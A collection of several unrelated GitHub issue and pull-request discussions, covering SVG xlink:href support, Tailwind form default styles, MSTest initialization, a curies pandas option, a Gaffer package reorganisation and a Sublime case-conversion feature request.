There's also a mode of operation for RonnieSan/browser-component that could point at the published versioned component too, from https://github.com/showonne/vue-date/releases:
https://github.com/showonne/vue-date/archive/v1.1.7.zip ~ vue-date-1.1.7/src/Datepicker.vue

Great feedback.  I'll try to incorporate this into the readme as soon as I get a chance.


Support for xlink:href

Hey guys,
SVG support is currently incomplete, use does not work because xlink:href is a namespaced attribute that needs the couple setAttributeNS/removeAttributeNS.
I'm not opening a PR directly for this, but it's a rather common use case and I think we should support it.
Some references:

preact issue on the subject: https://github.com/developit/preact-svg/issues/15
preact-way: https://github.com/developit/preact/blob/33fc697ac11762a1cb6e71e9847670d047af7ce5/src/dom/index.js#L81

I was looking for an example to test xref:link, and found this on MDN.

xlink:href
Deprecated since SVG 2
This feature has been removed from the Web standards...

https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/xlink:href
Am I looking at the wrong page?
@lukejacksonn @ngryman @leeoniya

No, but then there is browser support: https://www.chromestatus.com/feature/5760616295825408.
In real life, everybody still uses svg 1.1.

On a side note, every frontend frameworks that I know and claims to support svg does support namespaced attribute.

@ngryman Sure, I just wanted to make sure I was not looking at the wrong page because I've never used xlink.

What is the cost? ~10B minified gziped? What is the gain? It just vastly increase svg support for modern apps that use svg sprites.

I'm really in agreement here.. my hyperapp projects are the only projects that don't employ <use> tags, not because I don't prefer them anymore but because it isn't supported.
How much cleaner is:
const DeleteButton = () =>
  <button>
    <svg><use xlink:href="#icon-delete" /></svg>
  </button>

than the alternative:
const DeleteButton = () =>
  <button>
    <svg fill="#000000" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg">
      <path d="M0 0h24v24H0V0z" fill="none"/>
      <path d="M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6v12zm2.46-7.12l1.41-1.41L12 12.59l2.12-2.12 1.41 1.41L13.41 14l2.12 2.12-1.41 1.41L12 15.41l-2.12 2.12-1.41-1.41L10.59 14l-2.13-2.12zM15.5 4l-1-1h-5l-1 1H5v2h14V4z"/>
      <path d="M0 0h24v24H0z" fill="none"/>
    </svg>
  </button>

i'm 👍 on this from a practical standpoint. my current concern with adding it to domvm is the perf overhead of testing each attr name for namespace presence in a hot function. since it cannot be cheaply prefix-tested, running a regex of indexOf on every attr would greatly impact perf. there are some options tho.

in domvm svg elems use their own factory, so perhaps plain vnodes can be saved from the overhead.
a non-standard extra prefix would be cheap to test more generally: :xlink:href but is surprising
rather than supporting any namespaced, just explicitly test for xlink:href, which is cheap.

for what it's worth, i plan to add support for this in domvm, but have to figure out which mix of the above ideas would result in least perf degredation. i think custom prefixing is DOA due to non-uniformity :(

i'll add that my above concerns only relate to runtime checks, which is all domvm has since there's no JSX compilation step. i dont think my reservations apply to frameworks where a preprocessor can easily make this a non-issue.

@leeoniya @lukejacksonn Thanks for the feedback, let's continue on this thread where we are discussing an alternative solution for things like this: #211.


[Feedback Requested] Better default form styles?

Out of the box, this is what a select looks like with Tailwind when you add no additional CSS:

It's a slightly worse version of what you'd get with just user agent styles, because some of our existing base styles have side effects for form elements that you're basically expected to just not care about because you are going to style them yourself anyways.
 Or is it totally pointless — maybe it's just fine that things look awful out of the box, they aren't supposed to look good.

Actually, why caring about that? I guess these kinds of elements have to be customized anyway as form elements are hard to use out of the box. I think it only makes sense when they fit other inputs.

Maybe it's worth considering optional defaults that can be toggled? I'm sure people moving from Bootstrap would appreciate it.

I think a good compromise would be to add a .select-reset pseudo-utility class that creates an aesthetically unopinionated as possible, but nevertheless cross-browser consistent style for <select> elements. This seems like a safer option than adding custom styles to Preflight and requiring that developers manually undo the styles if they want to fully customize the design for <select> elements.

Tachyons has a couple reset classes to apply some of this opinionated styles. Maybe it would be worth considering adding a plugin for this, including .list-reset?
https://tachyons.io/docs/elements/forms/

In favor of reasonable out-of-the-box-styling.
I see strong relations to recent decision decisions and the niche that tailwind is advancing for itself. In my mind at least one of the following two is a major driver for anyone who reaches for tailwind over something else:

You want to build quickly, and while you do not want the boostrap look, the material look, or, well, any kind of immediately discernible look, you are still happy when things work reasonably well out of the box in a non-imposing, transparent way.
You do care about design and are likely to customize your form elements at some point down the line.

Since tailwind is touching the system defaults anyway, leaving the framework defaults in non-working condition seems to be strictly worse than providing reasonable defaults.

leaving the framework defaults in non-working condition seems to be strictly worse than providing reasonable defaults.

This is 100% what I think too, thanks for your input! I'm going to play around with it next week and see what I can do, I definitely think there is a path to improving this at least a little bit without imposing any real design opinions. Ideally I can figure out a way to actually make it easier to apply custom styles to form elements 🤔

I'm pretty sure I'd personnaly use the form reset everytime, but a more "customisable" way could be resets based on a resetForm: true in the tailwind config (theme even ?), or a separate @resetForm, like the @preflight one (it's @base now in 1.0.0 I think).
A good deal of the less "reseting" and more "harmonisation" could use some similar form of config, maybe...
But I realise I'm the douche asking for a whole new feature just before 1.0 ...

I use tailwind alongside a Vue based component library that provides form styling. I'd just like to add that you might just want to make sure that any additional styling provided by tailwind doesn't clash or perhaps it could be opt-in 'able.

I'm tackling this in a separate official plugin:
https://www.npmjs.com/package/@tailwindcss/custom-forms
...so I'm going to close this issue as I don't intend to do this in core, at least not any time soon.


Improved testability

disabled requirement of signature
added runtime discovery of folder with archives

changes by this commit are already present in 13ef1c3, but they weren't merged into master

If the internals visible to isn't necessary anymore, good!  I didn't notice.
If that path thing works, I don't see why not.  Saves headaches
@norvegec Everything is MSTest specific.  I think the TestContext only gets filled in per test method.  It might be null when ClassInitialize gets called but I'll let @KOLANICH say so or not.

And [TestInitialize] is per test method rather than [ClassInitialize] or original static field initializers.
TestContext is not accessible when [ClassInitialize] is triggered. It is not static.

@KOLANICH actually, you can use TestContext like this:
       [ClassInitialize]static void ClassSetup(TestContext ctx)
       {
            TEST_BASE_PATH = Path.GetDirectoryName(Path.GetDirectoryName(ctx.TestDir));
            // init other static vars
       }

The problem here is the lack of  inheritance (WOW!), that makes this nice feature completely useless in our case right now.

@norvegec, thanks, learned it.

I suggest to replace 2) with the following:
[TestClass] // otherwise all derived will ignore AssemblyInitialize-marked method
    public class TestBase
    {
        [AssemblyInitialize] // runs only once for whole assembly
        public static void AssemblySetup(TestContext ctx)
        {
            TEST_BASE_PATH = Path.GetDirectoryName(Path.GetDirectoryName(ctx.TestDir));
            //init others
         }

The benefits here are a)speed improvements b)encapsulation of init logic c)if test are run in-parallel we ppbly don't need to invent the wheel with monitor/lock solution

Thank you. Fixed. Tests now are really going faster.


Can you include the sample app for rails 4?

Nvm, I got this working. I'll upload an example repository soon

https://github.com/yifeiwu/rails4-autocomplete-demo

@yifeiwu you should submit a PR that edits the README to include your demo app, rather than letting this issue sit as open.

I will once I figure out how to do that lol. I'm pretty new at contributing to open source.

@yifeiwu thanks for your demo! You can help by indicating the css classes in the README for styling the autocomplete boxes!

Looks like I forgot to close this after adding it to the documentation previously.


Add additional options to compress and expand

Closes #63
This PR adds the strict and passthrough option, since many people typically implement these operations themselves.
This means for @shawntanzk's use case, you can add passthrough=True when calling
import curies
bioregistry_converter = ...
df = ...
bioregistry_converter.pd_compress(df, "column", passthrough=True)

So if you can't manage to compress something, it just keeps it in place

Codecov Report

Merging #79 (892bc15) into main (135988c) will decrease coverage by 0.98%.
Report is 9 commits behind head on main.
The diff coverage is 95.54%.

@@            Coverage Diff             @@
##             main      #79      +/-   ##
==========================================
- Coverage   99.32%   98.35%   -0.98%
==========================================
  Files           9       10       +1
  Lines         593      729     +136
  Branches      127      135       +8
==========================================
+ Hits          589      717     +128
- Misses          3       10       +7
- Partials        1        2       +1

Files
Coverage Δ

src/curies/__init__.py
100.00% <100.00%> (ø)

src/curies/version.py
100.00% <100.00%> (ø)

src/curies/reconciliation.py
99.06% <99.06%> (ø)

src/curies/api.py
97.42% <87.50%> (-1.47%)
:arrow_down:

... and 1 file with indirect coverage changes
:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


gh-1123 - Moved HLLP to new subpackage

Moved the hyperloglogplus serialiser and aggregator to a new subpackage, likewise for their respective test classes.

@gaffer01 Just to confirm - was this the correct subpackage layout you intended?

Almost - I think it would be better for the subpackage to be called cardinality rather than hyperloglogplus, i.e. HyperLogLogPlusSerialiser should be in the package uk.gov.gchq.gaffer.sketches.clearspring.cardinality.serialisation rather than uk.gov.gchq.gaffer.sketches.clearspring.hyperloglogplus.serialisation. This is more consistent with the naming for the sketches under datasketches and it's more consistent with the internal structure of the clearspring library which has HyperLogLogPlus in a cardinality package.

Codecov Report

:exclamation: No coverage uploaded for pull request base (develop-1.0.0@45d6d74). Click here to learn what that means.
The diff coverage is n/a.

@@               Coverage Diff                @@
##             develop-1.0.0    #1169   +/-   ##
================================================
  Coverage                 ?   66.35%
  Complexity               ?     1344
================================================
  Files                    ?      628
  Lines                    ?    19327
  Branches                 ?     2455
================================================
  Hits                     ?    12825
  Misses                   ?     5480
  Partials                 ?     1022

Impacted Files
Coverage Δ
Complexity Δ

...ation/kryo/impl/HyperLogLogPlusKryoSerializer.java
73.33% <ø> (ø)
3 <0> (?)

...rdinality/predicate/HyperLogLogPlusIsLessThan.java
87.5% <ø> (ø)
16 <0> (?)

...q/gaffer/hbasestore/HBaseSerialisationFactory.java
100% <ø> (ø)
0 <0> (?)

...lisation/json/HyperLogLogPlusJsonDeserialiser.java
77.77% <ø> (ø)
2 <0> (?)

...er/accumulostore/AccumuloSerialisationFactory.java
100% <ø> (ø)
0 <0> (?)

...ality/serialisation/HyperLogLogPlusSerialiser.java
50% <ø> (ø)
5 <0> (?)

...lity/binaryoperator/HyperLogLogPlusAggregator.java
66.66% <ø> (ø)
2 <0> (?)

...rialisation/json/HyperLogLogPlusJsonConstants.java
0% <ø> (ø)
0 <0> (?)

...ialisation/json/HyperLogLogPlusJsonSerialiser.java
66.66% <ø> (ø)
3 <0> (?)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 45d6d74...0b63665. Read the comment docs.


global conversion

I'd like to see a "file" "global" option to do this for all instances in a file or in a project tree.

if you select multiple regions and then run a conversion command, it should do it for every selected region. This is limited to a file, but it uses existing Sublime mechanics, which I like.
so, find "fooBar" + select all matches + then running your case conversion command should convert all of them.